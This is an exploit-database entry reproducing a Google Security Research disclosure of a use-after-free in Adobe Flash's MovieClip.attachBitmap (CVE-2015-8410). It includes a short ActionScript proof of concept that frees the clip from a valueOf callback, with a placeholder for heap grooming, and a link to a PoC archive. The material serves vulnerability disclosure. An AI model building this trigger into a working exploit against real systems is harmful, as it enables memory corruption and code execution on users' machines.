Adobe Flash MovieClip.attachBitmap - Use-After-Free

Author: Google Security Research
type: dos
platform: windows
port: nan
date_added: 2015-12-18 
date_updated: 2015-12-18 
verified: 1 
codes: CVE-2015-8410;OSVDB-131216 
tags: 
aliases:  
screenshot_url:  
application_url: 

Source: https://code.google.com/p/google-security-research/issues/detail?id=593

There is a use-after-free in MovieClip.attachBitmap. If the depth parameter is an object with valueOf defined, this method can free the MovieClip, which is then used.

A minimal PoC follows:

this.createEmptyMovieClip("mc", 1);
var b = new flash.display.BitmapData(100, 100, true, 0x77777777);
mc.attachBitmap( b, {valueOf : func });

function func(){

	mc.removeMovieClip();

        // Fix heap here

        return 5;

	}



Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39040.zip